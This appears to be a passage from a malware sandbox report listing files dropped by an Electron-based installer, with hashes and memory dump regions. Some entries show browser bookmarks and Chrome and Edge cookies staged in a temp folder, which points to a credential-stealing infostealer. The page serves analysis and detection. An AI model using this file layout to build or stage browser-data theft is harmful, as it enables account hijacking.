95c7b08e738ac7822c54e111a6cd89943c21fc216e73d8a451cb0e638a46f76fe63e8b743f4795f4ccb03c99102622dad332b96e92feada1583a80b34f8d3367

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsi826F.tmp\7z-out\resources\app.asar.unpacked\node_modules\sqlite3\lib\binding\napi-v6-win32-unknown-x64\node_sqlite3.node

Filesize
1.8MB

MD5
3072b68e3c226aff39e6782d025f25a8

SHA1
cf559196d74fa490ac8ce192db222c9f5c5a006a

SHA256
7fb52b781709b065c240b6b81394be6e72e53fe11d7c8e0f7b49dd417eb78a01

SHA512
61ebc72c20195e99244d95af1ab44fa06201a1aee2b5da04490fdc4312e8324a40b0e15a7b42fab5179753d767c1d08ae1a7a56ac71a6e100e63f83db849ee61

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsi826F.tmp\7z-out\resources\app.asar.unpacked\node_modules\windcrypt\build\Release\windcrypt.node

Filesize
154KB

MD5
b4d4eb71c659825cca356b2085c984a8

SHA1
170d82d694ed9189b958d1dd92fd797edea042b7

SHA256
4de26cace563afd5cedbe8ae8fad958101de0d0ca6ef3090ef20fb207b75e6fa

SHA512
96a650862079df6e5e2b272d2e313d7c69c755233c90d6bd7d2a2cd4cd106ce09ff907e290ac42c307074a345b96e83d27c4a98f8b2236a45a56dabfc58dbedb

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsi826F.tmp\7z-out\resources\elevate.exe

Filesize
112KB

MD5
af849a651c1ea251d56ad58f317985c4

SHA1
2f4be0198cea4557b6122eaf0cf99147fa6ce2e3

SHA256
f8c51f03730d857da9b7544a1aeb94867f77c4f721b229ed5bab64c6a8d95fe2

SHA512
ce664d23959ef0ab3a0c458a3dce7eed69b0f01151787cda14450c78fba3a860587bc362098b24ed700be6e2a4dc84d67f8e804bda1bc365e4aeba7f63b40f3f

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsi826F.tmp\7z-out\snapshot_blob.bin

Filesize
261KB

MD5
6fcb8a6c21a7e76a7be2dc237b64916f

SHA1
893ef10567f7705144f407a6493a96ab341c7ccf

SHA256
2bceef4822ca7cc3add4a9dcb67c51efb51c656fce96a3b840250de15379959c

SHA512
3b745740bbbe339542ef03fd15dd631fb775e6bf8ca54d6d2b9cead3aa5aafc4cab49e507bc93641e581412bbeb916a53608d5f5d971ea453779e72d2294dafb

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsi826F.tmp\7z-out\v8_context_snapshot.bin

Filesize
611KB

MD5
1a37f6614ff8799b1c063bc83c157cc3

SHA1
8238b9295e1dde9de0d6fd20578e82703131a228

SHA256
4fbe07f71b706c2a2948eba9a6b1979e23c83342b190723a6ec5251b2d6dad7c

SHA512
6677f65a0e26fdc2cff6cef0231f5e5f0713ee7c5cf7f488599a3c7ac3e8365afaec10b35d6145ea58d364151d8bcb08308765693a9797ea99b894d6e8224ac7

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsi826F.tmp\7z-out\vk_swiftshader.dll

Filesize
4.9MB

MD5
e020802e3d7f666f3dcaa6ad4e099698

SHA1
46d4993905a76872ebdc191565456f90862d581b

SHA256
fd0e0a3a02b0b9d19c390909634e3ff241d0fafa4c9fc85c94f39c3a6e09e8c0

SHA512
c342ff5adb885cc387c7a98eff8c3e3557fc33e96650310fb46b5baf70299a381aaf00faa5302a21381bfe72f3caeb542e47409b81181cda8f3f63fd27caa265

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsi826F.tmp\7z-out\vk_swiftshader_icd.json

Filesize
106B

MD5
8642dd3a87e2de6e991fae08458e302b

SHA1
9c06735c31cec00600fd763a92f8112d085bd12a

SHA256
32d83ff113fef532a9f97e0d2831f8656628ab1c99e9060f0332b1532839afd9

SHA512
f5d37d1b45b006161e4cefeebba1e33af879a3a51d16ee3ff8c3968c0c36bbafae379bf9124c13310b77774c9cbb4fa53114e83f5b48b5314132736e5bb4496f

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsi826F.tmp\7z-out\vulkan-1.dll

Filesize
931KB

MD5
ee8227fcbb8ddc54fb8b9a8b6e446f9b

SHA1
331483c2e2d0d3278f846b91e387bec6a2c2af93

SHA256
1185296cd3e5aa47aeb87bdc89aeedf80f629ba5abefdb1e2b247c24b90c05d1

SHA512
a345bee2046bc8fdc7d606ce792f8233f0c942fc4f6582a629887a47338d3674c83c97de79f34612d792fcb604bc90e84b271e6a5fddc91f00e7566a19d0c661

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsi826F.tmp\StdUtils.dll

Filesize
100KB

MD5
c6a6e03f77c313b267498515488c5740

SHA1
3d49fc2784b9450962ed6b82b46e9c3c957d7c15

SHA256
b72e9013a6204e9f01076dc38dabbf30870d44dfc66962adbf73619d4331601e

SHA512
9870c5879f7b72836805088079ad5bbafcb59fc3d9127f2160d4ec3d6e88d3cc8ebe5a9f5d20a4720fe6407c1336ef10f33b2b9621bc587e930d4cbacf337803

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsi826F.tmp\System.dll

Filesize
12KB

MD5
0d7ad4f45dc6f5aa87f606d0331c6901

SHA1
48df0911f0484cbe2a8cdd5362140b63c41ee457

SHA256
3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca

SHA512
c07de7308cb54205e8bd703001a7fe4fd7796c9ac1b4bb330c77c872bf712b093645f40b80ce7127531fe6746a5b66e18ea073ab6a644934abed9bb64126fea9

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsi826F.tmp\nsis7z.dll

Filesize
424KB

MD5
80e44ce4895304c6a3a831310fbf8cd0

SHA1
36bd49ae21c460be5753a904b4501f1abca53508

SHA256
b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592

SHA512
c8ba7b1f9113ead23e993e74a48c4427ae3562c1f6d9910b2bbe6806c9107cf7d94bc7d204613e4743d0cd869e00dafd4fb54aad1e8adb69c553f3b9e5bc64df

Download Submit
C:\Users\Admin\AppData\Local\Temp\tAtieV5TeJ8tQkKxzObl\Browsers\Bookmarks.txt

Filesize
2KB

MD5
5d9ef4551e257df28abfb4e66f2bebff

SHA1
e6e0bd1d09f8ca38f5923d0c38b2be404cfdc682

SHA256
fad1ef4febaf0bfbaca0b59aaf6b666265642d823f4f9fdb40858ca5d231e9e9

SHA512
a0f686cbd50d1a88add86066db9d1f7247e53b0d48f0f84347abcfc344cb8a625add89836853a47e32e638638c3bc8d858b005713dc11a352813aa0f9a567056

Download Submit
C:\Users\Admin\AppData\Local\Temp\tAtieV5TeJ8tQkKxzObl\Browsers\Chrome [Default] - Cookies.txt

Filesize
275B

MD5
001d629ed58a41d627f79a372159d823

SHA1
6ded5e0a914854b45ca7fb4408abe2a031f35bc6

SHA256
f7343d9e0a2938ba4e32ecd64acc08f94d0f2f0546f2e5d061e3486756c05598

SHA512
2ff7b9a226f0e1ca4e9a95221ff125ce380130f537406b9c6ba45dea73294923df9561c41189f1fcb1962b7899e30fb03c938255b518a6666e29238cec637786

Download Submit
C:\Users\Admin\AppData\Local\Temp\tAtieV5TeJ8tQkKxzObl\Browsers\Edge [Default] - Cookies.txt

Filesize
1KB

MD5
7194c4da51da451dfa2061fec4ae90ae

SHA1
e6e7460347a299482e0f04a64accbd4c1f51673d

SHA256
454830820d00b3068c54b5c76b3b96b97268eb53bbf30a95f55d67e048410498

SHA512
6cb1896d4341bd194bc0e3f4922ada0b5477e1bf7e2ca3115ed9407bebad0b82fedc07b9db709cd9e130e8bf595bd9092bc638717a81fb5cc6f71e6e5b44e5fe

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3xhpu52e.default-release\places.sqlite_tmp

Filesize
5.0MB

MD5
fd440eb14f5d7721c974b195f62e5797

SHA1
5fb74d6c2d8f88e94e68a78e7543ffd4b17f51ad

SHA256
3d8a7faee43f5e79e93a6c05d64e848a3f17cad91ef88c7886e11e7b3e322990

SHA512
d2a17620d74535f9271171f122b9151cd858fb5eb8752382e099524f25b35ada8b50321841e50e043dd79f93c5760ffceeb712804e75c0c2e96b05a9575ccea2

Download Submit
memory/2364-1258-0x0000021D6E330000-0x0000021D6E352000-memory.dmp

Filesize
136KB

Download
memory/3572-1368-0x0000027266820000-0x0000027266896000-memory.dmp

Filesize
472KB

Download
memory/3852-1381-0x000001FE50670000-0x000001FE50694000-memory.dmp

Filesize
144KB

Download
memory/3852-1380-0x000001FE50670000-0x000001FE5069A000-memory.dmp

Filesize
168KB

Download
memory/5900-1367-0x000002773FF70000-0x000002773FFB4000-memory.dmp

Filesize
272KB

Download